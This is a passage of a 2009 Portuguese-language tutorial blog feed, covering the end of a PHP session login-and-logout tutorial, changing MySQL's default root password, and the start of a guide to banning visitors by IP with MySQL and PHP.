<div class="line alt2"><code class="number">08.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="comments">// Verifica se não há a variável da sessão que identifica o usuário </code></span></span></div>
<div class="line alt1 highlighted"><code class="number">09.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">if</code> <code class="plain">(!isset(</code><code class="variable">$_SESSION</code><code class="plain">[</code><code class="string">'UsuarioID'</code><code class="plain">]) OR (</code><code class="variable">$_SESSION</code><code class="plain">[</code><code class="string">'UsuarioNivel'</code><code class="plain">] &lt; </code><code class="variable">$nivel_necessario</code><code class="plain">)) { </code></span></span></div>
<div class="line alt2"><code class="number">10.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="comments">// Destrói a sessão por segurança </code></span></span></div>
<div class="line alt1"><code class="number">11.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">session_destroy(); </code></span></span></div>
<div class="line alt2"><code class="number">12.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="comments">// Redireciona o visitante de volta pro login </code></span></span></div>
<div class="line alt1"><code class="number">13.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">header(</code><code class="string">"Location: index.php"</code><code class="plain">); </code><code class="functions">exit</code><code class="plain">; </code></span></span></div>
<div class="line alt2"><code class="number">14.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">} </code></span></span></div>
<div class="line alt1"><code class="number">15.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt2"><code class="number">16.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">?&gt;</code></span></span></div>
</div>
</div>
<p> </p>
<h3>Código de Logout</h3>
<p>O arquivo <strong style="background: gray; color: white;">logout.php</strong> é tão simples que pode ter uma linha só:</p>
<div id="highlighter_128495" class="syntaxhighlighter syntaxhighl">
<div class="bar">
<div class="toolbar"><a class="item viewSource" style="width: 16px; height: 16px;" title="view source" href="http://brasiltutoriais.com.br/wp-admin/#viewSource">view source</a></div>
<div class="item copyToClipboard"><object id="highlighter_128495_clipboard" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="16" height="16" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><embed id="highlighter_128495_clipboard" type="application/x-shockwave-flash" width="16" height="16"> </embed></object></div>
<p><a class="item printSource" style="width: 16px; height: 16px;" title="print" href="http://brasiltutoriais.com.br/wp-admin/#printSource">print</a><a class="item about" style="width: 16px; height: 16px;" title="?" href="http://brasiltutoriais.com.br/wp-admin/#about">?</a></div>
<div class="lines">
<div class="line alt1"><code class="number">1.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">&lt;?php session_start(); session_destroy(); header(</code><code class="string">"Location: index.php"</code><code class="plain">); </code><code class="functions">exit</code><code class="plain">; ?&gt;</code></span></span></div>
</div>
</div>
<p>Ou se você preferir, uma versão mais extensa:</p>
<div id="highlighter_404232" class="syntaxhighlighter syntaxhighl">
<div class="bar  ">
<div class="toolbar"><a class="item viewSource" style="width: 16px; height: 16px;" title="view source" href="http://brasiltutoriais.com.br/wp-admin/#viewSource">view source</a></div>
<div class="item copyToClipboard"><object id="highlighter_404232_clipboard" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="16" height="16" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><embed id="highlighter_404232_clipboard" type="application/x-shockwave-flash" width="16" height="16"> </embed></object></div>
<p><a class="item printSource" style="width: 16px; height: 16px;" title="print" href="http://brasiltutoriais.com.br/wp-admin/#printSource">print</a><a class="item about" style="width: 16px; height: 16px;" title="?" href="http://brasiltutoriais.com.br/wp-admin/#about">?</a></div>
<div class="lines">
<div class="line alt1"><code class="number">1.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">&lt;?php </code></span></span></div>
<div class="line alt2"><code class="number">2.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">session_start(); </code><code class="comments">// Inicia a sessão </code></span></span></div>
<div class="line alt1"><code class="number">3.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">session_destroy(); </code><code class="comments">// Destrói a sessão limpando todos os valores salvos </code></span></span></div>
<div class="line alt2"><code class="number">4.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">header(</code><code class="string">"Location: index.php"</code><code class="plain">); </code><code class="functions">exit</code><code class="plain">; </code><code class="comments">// Redireciona o visitante </code></span></span></div>
<div class="line alt1"><code class="number">5.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">?&gt;</code></span></span></div>
</div>
</div>
<p>–</p>
<p>Quem não conseguir fazer um sistema de login depois dessa aula não vai ganhar batata frita no fim do dia!</p>
<p>Fonte: <a href="http://thiagobelem.net/blog/">ThiagoBelem</a></p>
<p><a href="http://brasiltutoriais.com.br/como-criar-um-sistema-de-login-com-niveis-de-permissao/">Como criar um Sistema de Login com Níveis de Permissão</a> is a post from: <a href="http://brasiltutoriais.com.br">BRASIL TUTORIAIS - Tudo sobre tutoriais</a></p>



<p>NOTICIAS RELACIONADAS:<ol><li><a href='http://brasiltutoriais.com.br/sistema-de-login-utilizando-flash-e-xml/' rel='bookmark' title='Permanent Link: Sistema de Login utilizando Flash e XML'>Sistema de Login utilizando Flash e XML</a></li>
<li><a href='http://brasiltutoriais.com.br/bloqueando-visitantes-pelo-ip-com-mysql-e-php/' rel='bookmark' title='Permanent Link: Bloqueando visitantes pelo IP com MySQL e PHP'>Bloqueando visitantes pelo IP com MySQL e PHP</a></li>
<li><a href='http://brasiltutoriais.com.br/como-instalar-php-mysql-phpmyadmin-e-ftp-no-ubuntu/' rel='bookmark' title='Permanent Link: Como instalar PHP, MySQL, PHPMyAdmin e FTP no Ubuntu'>Como instalar PHP, MySQL, PHPMyAdmin e FTP no Ubuntu</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://brasiltutoriais.com.br/como-criar-um-sistema-de-login-com-niveis-de-permissao/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Mudando a senha padrão do MySQL</title>
		<link>http://brasiltutoriais.com.br/mudando-a-senha-padrao-do-mysql/</link>
		<comments>http://brasiltutoriais.com.br/mudando-a-senha-padrao-do-mysql/#comments</comments>
		<pubDate>Tue, 18 Aug 2009 11:37:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[MYSQL]]></category>

		<guid isPermaLink="false">http://brasiltutoriais.com.br/?p=224</guid>
		<description><![CDATA[
Após a instalação do MySQL (se você não fizer nada), o usuário padrão será o “root” e a senha será vazia… E isso não é nada seguro, mesmo quando se desenvolve localmente… Hoje vou ensinar como mudar essa senha tanto no Windows quanto no Linux.

Mudando a senha do root no Windows
1. Iniciar &#62; Executar, digite [...]<p><a href="http://brasiltutoriais.com.br/mudando-a-senha-padrao-do-mysql/">Mudando a senha padrão do MySQL</a> is a post from: <a href="http://brasiltutoriais.com.br">BRASIL TUTORIAIS - Tudo sobre tutoriais</a></p>



NOTICIAS RELACIONADAS:<ol><li><a href='http://brasiltutoriais.com.br/mudando-a-senha-padrao-do-mysql-2/' rel='bookmark' title='Permanent Link: Mudando a senha padrão do MySQL'>Mudando a senha padrão do MySQL</a></li>
<li><a href='http://brasiltutoriais.com.br/como-instalar-php-mysql-phpmyadmin-e-ftp-no-ubuntu/' rel='bookmark' title='Permanent Link: Como instalar PHP, MySQL, PHPMyAdmin e FTP no Ubuntu'>Como instalar PHP, MySQL, PHPMyAdmin e FTP no Ubuntu</a></li>
<li><a href='http://brasiltutoriais.com.br/iniciando-o-uso-do-mysql/' rel='bookmark' title='Permanent Link: Iniciando o uso do MySQL'>Iniciando o uso do MySQL</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em;"><script type="text/javascript" src="http://button.topsy.com/widget/retweet-big?url=http://brasiltutoriais.com.br/mudando-a-senha-padrao-do-mysql/&amp;title=Mudando+a+senha+padr%C3%A3o+do+MySQL&amp;theme=blue&amp;txt_tweet=tweet&amp;txt_retweet=retweet"></script></div><p>Após a instalação do MySQL (se você não fizer nada), o usuário padrão será o “<em>root</em>” e a senha será vazia… E isso não é nada seguro, mesmo quando se desenvolve localmente… Hoje vou ensinar como mudar essa senha tanto no Windows quanto no Linux.</p>
<p><span id="more-224"></span></p>
<p>Mudando a senha do <em>root</em> no Windows</p>
<p>1. Iniciar &gt; Executar, digite CMD e aperte enter</p>
<p>2. Navegue até o diretório <strong>bin</strong> dentro da pasta onde o MySQL está instalado, pode ser <strong style="background: gray; color: orange;">C:\mysql\bin</strong> ou se você estiver usando o XAMPP será <strong style="background: gray; color: orange;">C:\xampp\mysql\bin</strong></p>
<p>3. Digite os seguintes comandos:</p>
<div id="highlighter_582885" class="syntaxhighlighter nogutter syntaxhighl">
<div class="lines">
<div class="line alt1"><code class="number">1.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">mysql -u root mysql </code></span></span></div>
<div class="line alt2"><code class="number">2.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt1"><code class="number">3.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">SET PASSWORD FOR root@localhost=PASSWORD('NOVASENHA');</code></span></span></div>
</div>
</div>
<p>Pronto, a senha foi modificada… Não se esqueça de mudar a senha do phpMyAdmin (no arquivo <strong style="background: gray; color: lime;">config.inc.php</strong>).</p>
<p> </p>
<h3>Mudando a senha do <em>root</em> no Linux</h3>
<p>Se você está mudando a senha pela primeira vez é só acessar o terminal e digitar:</p>
<div id="highlighter_618900" class="syntaxhighlighter nogutter syntaxhighl">
<div class="lines">
<div class="line alt1"><code class="number">1.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">mysqladmin -u root password 'NOVASENHA'</code></span></span></div>
</div>
</div>
<p>Caso você esteja trocando a senha do root é só usar o comando:</p>
<div id="highlighter_784046" class="syntaxhighlighter nogutter syntaxhighl">
<div class="lines">
<div class="line alt1"><code class="number">1.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">mysqladmin -u root -p 'SENHAANTIGA' password 'NOVASENHA'</code></span></span></div>
</div>
</div>
<p>Para esses comandos funcionarem você precisa do <strong>mysqladmin</strong> instalado. </p>
<p>–</p>
<p><a href="http://brasiltutoriais.com.br/mudando-a-senha-padrao-do-mysql/">Mudando a senha padrão do MySQL</a> is a post from: <a href="http://brasiltutoriais.com.br">BRASIL TUTORIAIS - Tudo sobre tutoriais</a></p>



<p>NOTICIAS RELACIONADAS:<ol><li><a href='http://brasiltutoriais.com.br/mudando-a-senha-padrao-do-mysql-2/' rel='bookmark' title='Permanent Link: Mudando a senha padrão do MySQL'>Mudando a senha padrão do MySQL</a></li>
<li><a href='http://brasiltutoriais.com.br/como-instalar-php-mysql-phpmyadmin-e-ftp-no-ubuntu/' rel='bookmark' title='Permanent Link: Como instalar PHP, MySQL, PHPMyAdmin e FTP no Ubuntu'>Como instalar PHP, MySQL, PHPMyAdmin e FTP no Ubuntu</a></li>
<li><a href='http://brasiltutoriais.com.br/iniciando-o-uso-do-mysql/' rel='bookmark' title='Permanent Link: Iniciando o uso do MySQL'>Iniciando o uso do MySQL</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://brasiltutoriais.com.br/mudando-a-senha-padrao-do-mysql/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bloqueando visitantes pelo IP com MySQL e PHP</title>
		<link>http://brasiltutoriais.com.br/bloqueando-visitantes-pelo-ip-com-mysql-e-php/</link>
		<comments>http://brasiltutoriais.com.br/bloqueando-visitantes-pelo-ip-com-mysql-e-php/#comments</comments>
		<pubDate>Tue, 18 Aug 2009 11:36:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[MYSQL]]></category>

		<guid isPermaLink="false">http://brasiltutoriais.com.br/?p=221</guid>
		<description><![CDATA[
Banir um visitante de vez, baseando-se no IP dele é, sem dúvida, uma das formas mais simples e eficazes (a curto prazo) de evitar que alguém fique brincando com o seu sistema… Claro que o visitante pode mudar o seu IP sem muito esforço, mas em 99% dos casos isso exigiria pelo menos 1 ou [...]<p><a href="http://brasiltutoriais.com.br/bloqueando-visitantes-pelo-ip-com-mysql-e-php/">Bloqueando visitantes pelo IP com MySQL e PHP</a> is a post from: <a href="http://brasiltutoriais.com.br">BRASIL TUTORIAIS - Tudo sobre tutoriais</a></p>



NOTICIAS RELACIONADAS:<ol><li><a href='http://brasiltutoriais.com.br/usar-mysql-com-php/' rel='bookmark' title='Permanent Link: Usar MySQL com PHP'>Usar MySQL com PHP</a></li>
<li><a href='http://brasiltutoriais.com.br/sistema-de-votacao-online-em-php-e-mysql-2/' rel='bookmark' title='Permanent Link: Sistema de votação online em PHP e MySQL'>Sistema de votação online em PHP e MySQL</a></li>
<li><a href='http://brasiltutoriais.com.br/sistema-de-votacao-online-em-php-e-mysql/' rel='bookmark' title='Permanent Link: Sistema de votação online em PHP e MySQL'>Sistema de votação online em PHP e MySQL</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em;"><script type="text/javascript" src="http://button.topsy.com/widget/retweet-big?url=http://brasiltutoriais.com.br/bloqueando-visitantes-pelo-ip-com-mysql-e-php/&amp;title=Bloqueando+visitantes+pelo+IP+com+MySQL+e+PHP&amp;theme=blue&amp;txt_tweet=tweet&amp;txt_retweet=retweet"></script></div><p>Banir um visitante de vez, baseando-se no IP dele é, sem dúvida, uma das formas mais simples e eficazes (a curto prazo) de evitar que alguém fique brincando com o seu sistema… Claro que o visitante pode mudar o seu IP sem muito esforço, mas em 99% dos casos isso exigiria pelo menos 1 ou 2 minutos dele… E dependendo da rede e dos conhecimentos dele isso pode não ser possível…</p>
<p><span id="more-221"></span></p>
<p>Para salvar a lista de IPs banidos usaremos uma tabela no MySQL que pode ser criada com o seguinte código:</p>
<div id="highlighter_919749" class="syntaxhighlighter syntaxhighl">
<div class="bar       ">
<div class="toolbar"><a class="item viewSource" style="width: 16px; height: 16px;" title="view source" href="http://brasiltutoriais.com.br/wp-admin/#viewSource">view source</a></p>
<div class="item copyToClipboard"><object id="highlighter_919749_clipboard" title="copy to clipboard" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="16" height="16" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" type="application/x-shockwave-flash"></object></div>
<p><a class="item printSource" style="width: 16px; height: 16px;" title="print" href="http://brasiltutoriais.com.br/wp-admin/#printSource">print</a><a class="item about" style="width: 16px; height: 16px;" title="?" href="http://brasiltutoriais.com.br/wp-admin/#about">?</a></div>
</div>
<div class="lines">
<div class="line alt1"><code class="number">1.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword"><span style="color: #5ba1cf;">CREATE</span></code> <code class="keyword"><span style="color: #5ba1cf;">TABLE</span></code> <code class="plain">`banidos` ( </code></span></span></div>
<div class="line alt2"><code class="number">2.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">`id` </code><code class="keyword"><span style="color: #5ba1cf;">INT</span></code> <code class="plain">UNSIGNED </code><code class="color1"><span style="color: #e0e8ff;">NOT</span></code> <code class="color1"><span style="color: #e0e8ff;">NULL</span></code> <code class="plain">AUTO_INCREMENT </code><code class="keyword"><span style="color: #5ba1cf;">PRIMARY</span></code> <code class="keyword"><span style="color: #5ba1cf;">KEY</span></code> <code class="plain">, </code></span></span></div>
<div class="line alt1"><code class="number">3.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">`ip` </code><code class="keyword"><span style="color: #5ba1cf;">VARCHAR</span></code><code class="plain">( 15 ) </code><code class="color1"><span style="color: #e0e8ff;">NOT</span></code> <code class="color1"><span style="color: #e0e8ff;">NULL</span></code> <code class="plain">, </code></span></span></div>
<div class="line alt2"><code class="number">4.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">`inicio` DATETIME </code><code class="color1"><span style="color: #e0e8ff;">NOT</span></code> <code class="color1"><span style="color: #e0e8ff;">NULL</span></code> <code class="plain">, </code></span></span></div>
<div class="line alt1"><code class="number">5.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">`fim` DATETIME </code><code class="color1"><span style="color: #e0e8ff;">NOT</span></code> <code class="color1"><span style="color: #e0e8ff;">NULL</span></code> <code class="plain">, </code></span></span></div>
<div class="line alt2"><code class="number">6.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="keyword"><span style="color: #5ba1cf;">INDEX</span></code> <code class="plain">( `ip` ) </code></span></span></div>
<div class="line alt1"><code class="number">7.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">) ENGINE = MYISAM</code></span></span></div>
</div>
</div>
<p>Já a parte em PHP do sistema vai funcionar da seguinte maneira… Quando o visitante tentar acessar o seu site é incluído um arquivo que busca no MySQL se esse IP está na lista de banidos, caso esteja o visitante é redirecionado para outro site/endereço.</p>
<p>Não vou falar como fazer uma conexão ao MySQL porque isso já foi dito N vezes aqui no blog e ocupa um espaço desnecessário na aula. <img class="wp-smiley" src="http://thiagobelem.net/blog/wp-includes/images/smilies/icon_wink.gif" alt=";)" /></p>
<p>Antes de verificar se um visitante está “banido” precisamos limpar da tabela os registros que já expiraram… Esse passo é opcional pois quando formos verificar se um usuário está banido vamos verificar também se o período é valido… Vamos lá:</p>
<div id="highlighter_817030" class="syntaxhighlighter syntaxhighl">
<div class="bar   ">
<div class="toolbar"><a class="item viewSource" style="width: 16px; height: 16px;" title="view source" href="http://brasiltutoriais.com.br/wp-admin/#viewSource">view source</a></p>
<div class="item copyToClipboard"><object id="highlighter_817030_clipboard" title="copy to clipboard" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="16" height="16" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" type="application/x-shockwave-flash"></object></div>
<p><a class="item printSource" style="width: 16px; height: 16px;" title="print" href="http://brasiltutoriais.com.br/wp-admin/#printSource">print</a><a class="item about" style="width: 16px; height: 16px;" title="?" href="http://brasiltutoriais.com.br/wp-admin/#about">?</a></div>
</div>
<div class="lines">
<div class="line alt1"><code class="number">01.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">&lt;?php </code></span></span></div>
<div class="line alt2"><code class="number">02.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt1"><code class="number">03.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="comments"><span style="color: #878a85;">// Inclui o arquivo que faz a conexão com o banco de dados </span></code></span></span></div>
<div class="line alt2"><code class="number">04.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword"><span style="color: #5ba1cf;">require_once</span></code><code class="plain">(</code><code class="string"><span style="color: #5ce638;">'mysql.php'</span></code><code class="plain">); </code></span></span></div>
<div class="line alt1"><code class="number">05.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt2"><code class="number">06.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="comments"><span style="color: #878a85;">// IP do visitante para uso futuro </span></code></span></span></div>
<div class="line alt1"><code class="number">07.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="variable"><span style="color: #ffaa3e;">$ip_visitante</span></code> <code class="plain">= </code><code class="variable"><span style="color: #ffaa3e;">$_SERVER</span></code><code class="plain">[</code><code class="string"><span style="color: #5ce638;">'REMOTE_ADDR'</span></code><code class="plain">]; </code></span></span></div>
<div class="line alt2"><code class="number">08.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt1"><code class="number">09.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="comments"><span style="color: #878a85;">// Deleta os registros que já expiraram, esse passo é opcional! </span></code></span></span></div>
<div class="line alt2"><code class="number">10.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="variable"><span style="color: #ffaa3e;">$sql</span></code> <code class="plain">= </code><code class="string"><span style="color: #5ce638;">"DELETE FROM `banidos` WHERE ( `fim` &lt;= NOW() )"</span></code><code class="plain">; </code></span></span></div>
<div class="line alt1"><code class="number">11.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">mysql_query(</code><code class="variable"><span style="color: #ffaa3e;">$sql</span></code><code class="plain">); </code></span></span></div>
<div class="line alt2"><code class="number">12.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt1"><code class="number">13.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">?&gt;</code></span></span></div>
</div>
</div>
<p>Agora nós vamos verificar se o IP do visitante consta na lista dos que ainda estão banidos:</p>
<div id="highlighter_241454" class="syntaxhighlighter syntaxhighl">
<div class="bar       ">
<div class="toolbar"><a class="item viewSource" style="width: 16px; height: 16px;" title="view source" href="http://brasiltutoriais.com.br/wp-admin/#viewSource">view source</a></p>
<div class="item copyToClipboard"><object id="highlighter_241454_clipboard" title="copy to clipboard" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="16" height="16" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" type="application/x-shockwave-flash"></object></div>
<p><a class="item printSource" style="width: 16px; height: 16px;" title="print" href="http://brasiltutoriais.com.br/wp-admin/#printSource">print</a><a class="item about" style="width: 16px; height: 16px;" title="?" href="http://brasiltutoriais.com.br/wp-admin/#about">?</a></div>
</div>
<div class="lines">
<div class="line alt1"><code class="number">01.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">&lt;?php </code></span></span></div>
<div class="line alt2"><code class="number">02.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt1"><code class="number">03.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="comments"><span style="color: #878a85;">// Inclui o arquivo que faz a conexão com o banco de dados </span></code></span></span></div>
<div class="line alt2"><code class="number">04.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword"><span style="color: #5ba1cf;">require_once</span></code><code class="plain">(</code><code class="string"><span style="color: #5ce638;">'mysql.php'</span></code><code class="plain">); </code></span></span></div>
<div class="line alt1"><code class="number">05.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt2"><code class="number">06.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="comments"><span style="color: #878a85;">// IP do visitante para uso futuro </span></code></span></span></div>
<div class="line alt1"><code class="number">07.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="variable"><span style="color: #ffaa3e;">$ip_visitante</span></code> <code class="plain">= </code><code class="variable"><span style="color: #ffaa3e;">$_SERVER</span></code><code class="plain">[</code><code class="string"><span style="color: #5ce638;">'REMOTE_ADDR'</span></code><code class="plain">]; </code></span></span></div>
<div class="line alt2"><code class="number">08.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt1"><code class="number">09.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="comments"><span style="color: #878a85;">// Deleta os registros que já expiraram, esse passo é opcional! </span></code></span></span></div>
<div class="line alt2"><code class="number">10.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="variable"><span style="color: #ffaa3e;">$sql</span></code> <code class="plain">= </code><code class="string"><span style="color: #5ce638;">"DELETE FROM `banidos` WHERE ( `fim` &lt;= NOW() )"</span></code><code class="plain">; </code></span></span></div>
<div class="line alt1"><code class="number">11.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">mysql_query(</code><code class="variable"><span style="color: #ffaa3e;">$sql</span></code><code class="plain">); </code></span></span></div>
<div class="line alt2"><code class="number">12.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt1"><code class="number">13.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="comments"><span style="color: #878a85;">// Verifica se o visitante está banido </span></code></span></span></div>
<div class="line alt2"><code class="number">14.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="variable"><span style="color: #ffaa3e;">$sql</span></code> <code class="plain">= </code><code class="string"><span style="color: #5ce638;">"SELECT * FROM `banidos` WHERE ( `ip` = '"</span></code><code class="plain">. </code><code class="variable"><span style="color: #ffaa3e;">$ip_visitante</span></code> <code class="plain">.</code><code class="string"><span style="color: #5ce638;">"' ) AND ( NOW() BETWEEN `inicio` AND `fim` )"</span></code><code class="plain">; </code></span></span></div>
<div class="line alt1"><code class="number">15.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="variable"><span style="color: #ffaa3e;">$query</span></code> <code class="plain">= mysql_query(</code><code class="variable"><span style="color: #ffaa3e;">$sql</span></code><code class="plain">); </code></span></span></div>
<div class="line alt2"><code class="number">16.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword"><span style="color: #5ba1cf;">if</span></code> <code class="plain">(mysql_num_rows(</code><code class="variable"><span style="color: #ffaa3e;">$query</span></code><code class="plain">) &gt; 0) { </code></span></span></div>
<div class="line alt1"><code class="number">17.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="comments"><span style="color: #878a85;">// Pelo menos um resultado foi encontrado, o usuário está banido </span></code></span></span></div>
<div class="line alt2"><code class="number">18.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">} </code></span></span></div>
<div class="line alt1"><code class="number">19.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt2"><code class="number">20.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">?&gt;</code></span></span></div>
</div>
</div>
<p>Agora é só redirecionar o visitante para outra página/endereço:</p>
<div id="highlighter_103919" class="syntaxhighlighter syntaxhighl">
<div class="bar  ">
<div class="toolbar"><a class="item viewSource" style="width: 16px; height: 16px;" title="view source" href="http://brasiltutoriais.com.br/wp-admin/#viewSource">view source</a></p>
<div class="item copyToClipboard"><object id="highlighter_103919_clipboard" title="copy to clipboard" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="16" height="16" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" type="application/x-shockwave-flash"></object></div>
<p><a class="item printSource" style="width: 16px; height: 16px;" title="print" href="http://brasiltutoriais.com.br/wp-admin/#printSource">print</a><a class="item about" style="width: 16px; height: 16px;" title="?" href="http://brasiltutoriais.com.br/wp-admin/#about">?</a></div>
</div>
<div class="lines">
<div class="line alt1"><code class="number">13.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="comments"><span style="color: #878a85;">// Verifica se o visitante está banido </span></code></span></span></div>
<div class="line alt2"><code class="number">14.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="variable"><span style="color: #ffaa3e;">$sql</span></code> <code class="plain">= </code><code class="string"><span style="color: #5ce638;">"SELECT * FROM `banidos` WHERE ( `ip` = '"</span></code><code class="plain">. </code><code class="variable"><span style="color: #ffaa3e;">$ip_visitante</span></code> <code class="plain">.</code><code class="string"><span style="color: #5ce638;">"' ) AND ( NOW() BETWEEN `inicio` AND `fim` )"</span></code><code class="plain">; </code></span></span></div>
<div class="line alt1"><code class="number">15.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="variable"><span style="color: #ffaa3e;">$query</span></code> <code class="plain">= mysql_query(</code><code class="variable"><span style="color: #ffaa3e;">$sql</span></code><code class="plain">); </code></span></span></div>
<div class="line alt2"><code class="number">16.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword"><span style="color: #5ba1cf;">if</span></code> <code class="plain">(mysql_num_rows(</code><code class="variable"><span style="color: #ffaa3e;">$query</span></code><code class="plain">) &gt; 0) { </code></span></span></div>
<div class="line alt1"><code class="number">17.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="comments"><span style="color: #878a85;">// Redireciona o visitante </span></code></span></span></div>
<div class="line alt2 highlighted"><code class="number">18.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">header(</code><code class="string"><span style="color: #5ce638;">"Location: http://www.pudim.com.br/"</span></code><code class="plain">); </code></span></span></div>
<div class="line alt1"><code class="number">19.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="functions"><span style="color: #ffaa3e;">exit</span></code><code class="plain">; </code></span></span></div>
<div class="line alt2"><code class="number">20.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">}</code></span></span></div>
</div>
</div>
<p>–</p>
<p>Agora nós vamos criar uma funçãozinha que você vai usar para banir o visitante durante X minutos… Vamos lá:</p>
<div id="highlighter_576320" class="syntaxhighlighter syntaxhighl">
<div class="bar           ">
<div class="toolbar"><a class="item viewSource" style="width: 16px; height: 16px;" title="view source" href="http://brasiltutoriais.com.br/wp-admin/#viewSource">view source</a></p>
